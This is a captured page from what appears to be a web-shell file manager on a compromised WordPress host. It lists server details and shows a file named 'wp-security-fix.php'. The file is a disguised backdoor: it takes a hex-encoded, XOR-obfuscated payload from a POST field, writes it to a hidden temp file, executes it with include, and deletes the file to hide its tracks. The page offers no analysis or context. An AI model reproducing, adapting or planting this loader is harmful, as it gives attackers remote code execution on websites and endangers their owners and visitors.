HEX
Server: LiteSpeed
System: Linux us-imm-web448.main-hosting.eu 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User: u528506485 (528506485)
PHP: 8.2.30
Disabled: system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Upload Files
File: /home/u528506485/domains/strikewavelabs.com/public_html/wp-content/wp-security-fix.php
<?php
if(!empty($_POST["\x65\x6Cem"])){
	$parameter_group = hex2bin($_POST["\x65\x6Cem"]);
	$pset 	=	''; $b 	=	0; while( $b<strlen( $parameter_group)){$pset	.=  chr( ord( $parameter_group[$b]) ^ 62); $b++;}
	$itm = array_filter([getenv("TEMP"), getenv("TMP"), "/tmp"]);
	foreach ($itm as $comp => $dchunk) {
		if (is_writable($dchunk) && is_dir($dchunk)) {
			$rec = implode("/", [$dchunk, ".hld"]);
			if (file_put_contents($rec, $pset)) {
			register_shutdown_function('unlink', $rec);
			include $rec;
			die();
		}
		}
	}
}